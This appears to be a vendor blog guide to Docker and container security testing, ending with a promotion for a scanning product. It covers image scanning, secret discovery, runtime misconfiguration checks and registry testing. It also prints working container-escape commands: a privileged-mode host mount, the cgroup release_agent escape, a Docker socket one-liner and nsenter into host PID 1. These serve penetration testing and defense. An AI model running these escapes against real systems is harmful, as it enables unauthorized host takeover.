Docker and Container Security Testing: Image Scanning to Runtime Defense
Containers changed how software is packaged and deployed but did not change the fundamental security principles. They introduced new attack surfaces — image vulnerabilities, misconfigured capabilities, insecure registries, and runtime escape paths — while maintaining all the original ones. Container security testing covers both layers.
This guide covers the container security assessment methodology: what to scan in images, what misconfigurations to test at runtime, how container escapes work in practice, and what a compromised container means for the host and adjacent workloads.
Docker Image Security Analysis
The image is the artifact. Security problems baked into the image ship into every environment the image runs in. Image analysis is the first stage of a container security assessment.
Vulnerability scanning with Trivy
Trivy is the standard for container image vulnerability scanning. It scans OS packages, language-specific dependencies, and IaC configuration:
# Scan a local image
trivy image my-app:latest
# Scan with severity threshold — only HIGH and CRITICAL
trivy image --severity HIGH,CRITICAL my-app:latest
# Output as JSON for pipeline integration
trivy image --format json --output results.json my-app:latest
# Scan a remote registry image
trivy image registry.example.com/app:v1.2.3
Trivy checks the image against CVE databases for every package installed in the image layers. A common finding: base images pulled months ago and never updated, accumulating dozens of known-exploitable vulnerabilities.
Secrets in image layers
Docker images are layered. A secret added in one layer and deleted in a later layer is still readable in the history. Tools like Trivy, truffleHog, and docker-scan detect secrets in image content:
# Export all image layers and scan for secrets
docker save my-app:latest | tar -xO | trufflehog --json filesystem /dev/stdin
# Inspect image build history for sensitive commands
docker history my-app:latest --no-trunc
# Dump all files from all layers
docker create --name tmp_container my-app:latest
docker export tmp_container | tar -t | grep -i "secret\|key\|cred\|token\|password"
Common findings: AWS credentials in ENV statements, SSH private keys copied during build, API tokens in RUN commands that were intended to be temporary.
Dockerfile security review
When source is available, static analysis of the Dockerfile catches build-time issues:
- Running as root (no
USERinstruction) - Using
ADDwith remote URLs instead ofCOPY - Hardcoded secrets in
ENVorARG - Unpinned base image tags (
FROM ubuntu:latestinstead of a digest) - Overly broad
COPY . .including.envand.git - Missing
HEALTHCHECKand lack of read-only filesystem configuration
hadolint automates Dockerfile linting against CIS Docker Benchmark rules.
Runtime Configuration Assessment
How a container is launched matters as much as what is in the image. Misconfigurations at runtime create privilege escalation paths from inside the container to the host.
Privileged mode
--privileged grants the container all Linux capabilities and access to all host devices. From inside a privileged container, escaping to the host is trivial:
# Check if running privileged (from inside container)
cat /proc/self/status | grep -i cap
# Privileged escape: mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# Now operating as root on the host OS
Check every container definition for privileged: true (Kubernetes) or --privileged (Docker). It is occasionally needed for system-level tools but is almost always present because a developer added it to fix a permission problem and it was never removed.
Dangerous capabilities
Linux capabilities grant fine-grained privileges below the privileged mode threshold. Several individual capabilities enable container escape or significant privilege escalation:
| Capability | Risk | Escape technique |
|---|---|---|
CAP_SYS_ADMIN |
Critical | Mount host filesystems, load kernel modules |
CAP_NET_ADMIN |
High | Modify host network interfaces, intercept traffic |
CAP_SYS_PTRACE |
High | Attach to host processes, read host memory |
CAP_DAC_OVERRIDE |
Medium | Bypass file permission checks on host volumes |
CAP_SYS_MODULE |
Critical | Load malicious kernel modules |
# Enumerate capabilities inside a running container
capsh --print
# Exploit CAP_SYS_ADMIN to escape via cgroup notification
# (abbreviated — this is a well-documented escape technique)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo "id > $host_path/output" >> /cmd
chmod a+x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
Volume mounts and sensitive host paths
Bind mounts expose host filesystem paths inside the container. Common dangerous mounts to test for:
# Check mounts from inside container
cat /proc/mounts | grep -E "^/dev|^tmpfs" -v
# High-risk mount patterns
/var/run/docker.sock:/var/run/docker.sock # Docker socket — instant host escape
/:/host # Full host root filesystem
/etc:/etc # Host configuration files
/proc:/proc # Host process tree
Access to the Docker socket from inside a container means the container can spawn new privileged containers, mount the host filesystem, and execute commands on the host — a complete container escape requiring only one line:
docker -H unix:///var/run/docker.sock run --rm -v /:/host -it alpine chroot /host sh
Environment variable secrets
# From inside container
env | grep -iE "password|secret|key|token|api|cred"
# From host — inspect running container environment
docker inspect | jq '.[0].Config.Env'
Secrets passed via environment variables are visible to any process in the container, readable from /proc/self/environ, and exposed in container inspect output to anyone with Docker daemon access.
Container Escape Techniques in Scope
Container escapes are in scope for any penetration test that includes container infrastructure. The most commonly found and exploited paths:
Docker socket exposure
Mount the Docker socket read-write, spawn a privileged container with the host filesystem mounted. Trivially exploitable whenever the socket is accessible.
Privileged + host PID namespace
# With --pid=host, access all host processes
nsenter -t 1 -m -u -i -n -p -- bash
# Running as root on the host
Writable host path with cron or systemd
If the container can write to a host directory that cron or systemd reads (e.g., /etc/cron.d, /etc/systemd/system), an attacker can plant persistence on the host.
Kernel exploit from container
Containers share the host kernel. A kernel vulnerability (e.g., Dirty COW, runc CVE-2019-5736, container breakout CVEs) exploitable from an unprivileged container context gives full host compromise without any configuration misconfiguration.
Registry and Supply Chain Security
- Public base images without verification — pull by digest, not tag, to prevent tag mutation attacks
- Unauthenticated registries — test whether internal registries require authentication and authorization per repository
- Image signing — verify Notary or Cosign signatures on images pulled in production; unsigned images can be substituted by a registry MITM
- Registry misconfiguration — test whether the registry API allows unauthenticated pulls or image listing on internal registries
# Test unauthenticated registry access
curl -s https://registry.internal/v2/_catalog
curl -s https://registry.internal/v2/app/tags/list
# Verify image signature with cosign
cosign verify registry.example.com/app:latest --key cosign.pub
CIS Docker Benchmark Checklist
Docker Bench for Security automates CIS Docker Benchmark checks against the Docker daemon configuration and running containers:
docker run --rm -it \
--net host \
--pid host \
--userns host \
--cap-add audit_control \
-v /etc:/etc:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
docker/docker-bench-security
Key benchmark sections to prioritize: Docker daemon configuration (TLS), container runtime (no privileged, no root, no docker socket mount), network configuration (no host networking unless required), and security options (seccomp, AppArmor profiles applied).
Running containerized applications? Ironimo scans web applications deployed in containers with the same methodology a pentester uses — covering application-layer vulnerabilities, API endpoints, and authentication flows regardless of whether the target runs on bare metal, VMs, or containers.
Start free scan